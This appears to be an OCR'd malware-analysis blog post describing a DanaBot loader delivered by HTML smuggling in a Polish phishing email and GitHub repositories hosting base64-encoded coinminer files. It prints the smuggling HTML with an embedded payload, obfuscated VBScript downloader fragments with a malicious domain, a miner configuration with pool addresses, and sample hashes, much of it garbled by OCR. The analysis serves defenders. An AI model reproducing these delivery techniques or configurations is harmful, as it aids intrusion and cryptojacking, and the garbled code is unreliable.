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Sometimes we see odd stuff, like malware that employs a technique called "HTML Smuggling". Also, malware on GitHub

seems to be a thing these days.

"That's strange..."

Many important discoveries do not start with a shouting of ,, Eureka” anymore, as they did in the days of old. Instead, the
most intriguing bits of modern research will at some point contain the phrase “That’s strange...”, followed by more
prodding and poking and — hopefully — a lightbulb moment. This series that we call "Strange Bits" contains many findings
that struck our analysts as odd, either because they do not seem to make any sense at the time or because a malicious
program exhibits behaviors that none of us have seen before. Maybe these findings will spark ideas in other fellow

researchers — maybe those findings are just what it says on the tin: Strange....
DanaBot loader uses HTML smuggling

This email has an unusual way to store contained malware. The emaill!! displays polish text which prompts the user to

click on a download link. The translated text says "This file can not be previewed. You can download the file."

The <a> tag for this link has a download attribute with the name of the dropped ZIP archive: dokumentacja_28380.zip[2].
However, the referenced data in the href attribute is not downloaded from a URL but saved as a base64 string using the

data URI scheme. This is also called HTML smuggling (thanks to Rich Warren who gave me a hint to the blog post).
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<!DCCTYPE HTML>

<!DCCTYPE html>

<html lang="en"»

<headr<titlex</titlex</head>
<kody>
<hl> Nie moZna wyswietlidé podgladu tego pliku. MoZesz pobrad plik. <a id="oSgzleSaSgxPz" href=
"data:appli&#99;ation/x-zip-&#99  ompressed ;base64d , UEsDBBQDAAATATAMNKkA2TvEsS5gUAAT CcoAAAWAAAAZGIrdWl1lbnRhY2phizT
4AMzgwlnZiZelZ23I5QRBShir+oYsHDOVBIWPS5r4ox8RpiCVIRF2vYHAiR3 ZntnVkhe fI£/EQ/xNOTIewiUZ8stSCE3Z3pPn2 6eyT70cPVY2E/G
RkkHIpHWaNrIT62Rgb/Xod6dfp++f 1Rz zMtgX+DW+7cbNFcOBRa9qGgAtwI 65XzHUgNxReIvIX04UaHZ I Igi Tn3s /sTLyD5aTBrPSWlyUeSt
Ph8SmFm0ZQ,/D2VgoPh02B1i funaolUb/q00Gk 9 TEMWe +VeCRUWN TAOVY TY TUSXRpFOk IMoon00ZY1wdy 3qTJawvIzEcyga53RIDePTFIIC2 £VDg
zvbtwE 5 ThUVvEQhFDSCL3ssF21snDJ4yEDoS4CRhe THEKS2GocAV / RGHOZSGhbA4dCI T cyNOTSRCCGks JhCowl tp4WXIUePuRaxZ S TMROWY JTJJ
kWgUQobkCnOg5cquCsJeGkexTki IPZCa57+Rz0H5 3 iwoz 907 gi WRP2Wp 1 8bRvp TRWLp 7zFskRk 9z2ghPEQ4e05ghoDj ZReZRImbSOD IGo6£C
csgB0TnfFlJréaMezxaERIpEYYud+rlhiynlogy7THABI0Gi cTnRsTO tALN+MN 1D TyNFEhRDy Y SBz JC1igmmhs SREBnmT Tz AQPpCx 9 £xVLATIwE
4zodCFCseCUnoIQTBZIDScUhQ4kQ30YdiOTOVIwo8BRQCEZp/ TeRJoOIpGMpY 2Fyp 3GswpmdGzx0 L3I f06cx5ieasWknP EFFIEZRNVAFTZRON
zFAMvznj+mwPeIUxF /=sDVzDT2MvTiNcOgABt Y4l zsbmExTe9glnaM= jnM7QSy 73W4A L1ECGE 3vvIvWG/ S TAe tiNoQuwX i LnXKBFkGgdgatRr2
2FCRENGER3ac+50ZzwegLlg) TAxpw32Hs509Jb2 JAnSRrUfuyvnd rt 6BDkGvI+brip+Shidi 5ENpd s 6BejQz1bpWog+ KIRKMAS XxREqgs 9XN thy
Yb¥gObxHzUZ9IBe+HN6IwZE TXHi peXkodw3 EPRK1 ThO0+ Imm()2 tB+ rVOGZaKAr J2dPRaDvePni Kx8Uy4YTY +MnEo LQEBcBPOO/ epalgOzdgwn
+LRQZvHPuWo 4 PvB4 fsRgIVATRCwS £0vBaFE tod8 1RFLG/yEivd /S1tBGOnS P 79v0BeE / 15mW1 5bX1 teWl 7IL1ewxyohwIg¥5USC5hAzMzOUNW
+FH¥a00ggVOkUplEGFeTgLWSxM6 jpelebGHSu0HOo rHVRY / £2end /atW+2 iW+ohy rvilu3ncVVHn/ 1GvWIy XY FutFuhlye+4n0PS 6uyOWgOVEi
gl+=1Vedkw+nik/fUIENEBSRENUeUHOVIgDpVowY ok 4M1+x2gGZ 516 JOAPKBwOOS rOuUKs trD1pvlbs TIJuASS 6btor THgpVixxgquT4aistSrP
YHiCGgyA3ks4Pd1Z1+e¥DAnkhg8zLITEL i xhkgl 3mDBr{Cs1a70zeI9pT6EDdleDXa2oUtELCZOTILVMQT7 5vixyGejlanfjFAcHCY1nj JEBRKT2
Tt+vY3/880ECuH1g48yPzgoVYIHufOCY/ Yz 6PARuvYbuGinIkveTEp+ Y1 rRENnI800B0RrHAtUcnNBVGIAEY SVATCgtzs 6Zd/h4ATAQ4S LAcF
iDg/ TxEUnMMx jvwHnhZmImdlglCvxQ+go8 lATyI6uT8 SdmNgZsUdkNvFYPEY JuSSpl ZWEZ T/ I+dXev ZvP5 92pMiMe LuEcsduh T AHwArcM9me
o+Q¥1/5fzP0j6pdwx6Tympdns /vDIWA2 ANg Tpy 8CGvNgVNE+Ka ¥ bAOOK T rJ 9VEXyy2 2hLLO+n2At rext 1WV40 / JIVN2 JeHsnluQzBe fDIELD
112tm/nuHUTszPHpvr{iNG9d36VESTET+LHAWIOnOhPTvGCan5a/ASAkgqndleUirLzQ5eM1 6 I0J4bb8gwCDOGF5S / 3HX N SFUHNS Y to3zml1U30
1+3jVUZ/10RTHCtBEWry Lw JNEDDz8V2kD3ecweb6FwFasbhs 4P /MzuVma 1 U7 3wFQSwEC PwuMUAWAACACOD 50Nk T+bOYFAACHHAAAFgAK ARAARR
AAACCAPTIEAAAAATGOTdW11bnRhY2phXzI dMzgwlnZ i ZQoATAAAAAAAAQAYAAAWKaOW,/ 90BADDFghb / 1 ARAMMWgFv/ UAVBLBOYAAAAAROABAGH
ARAREBGAAAAR=" download="dokumentacja 28380.zip" target="_blank"> pobierz plik. </a» </hl>
F</body>
L </html>

The dropped ZIP archive contains a file named dokumentacja_28380.vbe[3]. Despite its file extension it is not encoded

but a plain VBScript. The obfuscated script retrieves a PowerShell command which downloads DanaBot'* to the
%TEMP% folder and executes it.

250 '28380
] = pidarsdxcosl = pionterosasdcstaskakal()
52 = '28380
253 Set manazXMLHTTP = CreateObject (pidarsdxcosl)
54 manazXMLHTTP.Open Xoslosxxops, "https:/ Ww.google.com™, False
'28380
=l pidarsdxcosl = pionterosasdcstaskakal()
57 = '28380
258 = Set manazXMLHTTP = CreateObject (pidarsdxcosl)
2L '28380
= manazXMLHTTP.Cpen xXoslosxxops, domanisddomain, False
6l b '28380
62 = '28380
= manazXMLHTTP.Send reasposMilos
264 e '28380
65 liksaoresponse = manazXMLHITP.responseText
266 zanamsa (manazXMLHTTFE)
267 L '28380
268 End Sub
269
270 Function ninosZeror()
271 Cn Error Resume Hext
272 %End Function
273
274 Sub ziopsdcupd()
275 '283E80
276 L Dim chilosMyRrray
277 demanyeddemaan — "https://zaratoons.info”
278 End Sub
279
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GitHub repositories host coinminer malware and settings as base64 strings

The GitHub user errorsysteme and their repositories were taken down after G DATA researchers discovered that they

hosted malware. The repositories were discovered via a downloader sample[S].

Overview Repositories 2 Projects 0 Stars © Followers 0 Following 0

Popular repositories

base wask
wask
errorsysteme 97 contributions in the last year
Block or report user May Jun Ju Aug Sep oa e Dec Jan Feb Mar apr
| |
[ ]
Learn how we count contributions. Less HHE More
Contribution activity m
April 2019
B Created 74 commits in 2 repositories 2]
errorsysteme/base 64 commits N

errorsysteme/wask 10 commits

I Created 1 repository -

El errorsystemefwask Apr 26

Show more activity

Seeing something unexpected? Take a look at the GitHub profile guide.

The user has two repositories, both contain text files with base64 strings of PE binaries and configuration files. The

repository wask only contains a file named data_lssas!®!. This file is downloaded and executed intially and will in turn

obtain and install files and settings from the base repository.

The PE files named WerFault64'”) and WerFault86®! are modified versions of the Non-Sucking Service Manager

(NSSM). The file properties and icons have been changed to imitate Microsoft's actual WerFault.exe which is used for error

reporting. The modified NSSM is used to install malware as service on the system.

A file named parameters contains the settings for the coinminer malware.
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1 [hash]
2 walue=17E5BDBS8D1D154A219EBDI8SCEEE3CE
S [commentary]

z [Description]
& [DisplayName]
[mincorecount]
wvalue=0
9 [mainer dir]
0 walue=C:\Windows\Installer\PatchCach
11 [==1]
12 [MyMainerBlackList]
3 wurl=http://mine.zarabotaibitok.ru/Downloads/blockproc.txt
[mainer param str]
value=-a cryptonight-pico/trtl -o one.ifis.today:55555 -o 61.128.111.164:3335 -u u -p x —-donate-level=1 —-api-port=1010
16 [mainer exe]
value=5ystenMT.exe
[SexrwverHS])
12 0O=sm.clonesab.services
20 1-46.50.194.171
21 [AutoCloseProcessTimer]
22 wvalue=10000

The actual coinminer is the files data_cash64[9] and data_cash&(iuo] in the base repository.

Referenced Samples

Description = Filename SHA256

[1]

DanaBot

Load dde37964ab9f749e1c48a88202ad6c5fd03bd2c82e67736e42fc02fe912be6ba
oader

Email

[2]
DanaBot
Loader ZIP

archive

dokumentacja_28380.zip  f4dladce0ad334b31aa444ab9ced0d9d1eb581{889f3dbcfc1050eead74ad3ct

[3]

DanaBot

Load dokumentacja_28380.vbe = 0222fecff6c56e7af6f1502328478283c46e7a243ef2edcac466c2acda5e3eb9
oader

VBScript

[4]
DanaBot DbBf bfce42e325a9b999d1630a7ccc27ac8260104fb47bfc768637e2a2a687b65855
Payload

[5] Initial
GitHub

malware

4b4c45569b1b7c3c114a633ec0a54864cd91fd99bea2645803d23e78f9fcd81c

downloader

[6] GitHub

downloader

] N data_lssas 0075b6e78cebcled63a495918620aa7220ddabf7c9e501bc840d724ce930d2d3
in was

repository

[7] WerFault64 3335ec57681b238846e0d19a3459dc739d11dfaf36722b7f19e609a96b97ad92
Modified
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Description

NSSM 64

bit version

[8]
Modified
NSSM 32

bit version

[9]
Coinminer
64 bit

version

[10]
Coinminer
32 bit

version

Filename

WerFault86

data_cash64

data_cash86
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SHA256

2f979194413c1b40a9d11bc4031d1672cd445d64b60343f6d308e4df0d2bdc6b

¢3d982038039828f201a93b323b2b76f8e0db20a81aee89334afa22a4c83f36f

8521c866fd37499631e6e1b0902a21e555e565d609bb6e2402eb86dec8743fad

Share Article

Content

e "That's strange..."

¢ DanaBot loader uses HTML smuggling

» GitHub repositories host coinminer malware and settings as base64 strings

o Referenced Samples
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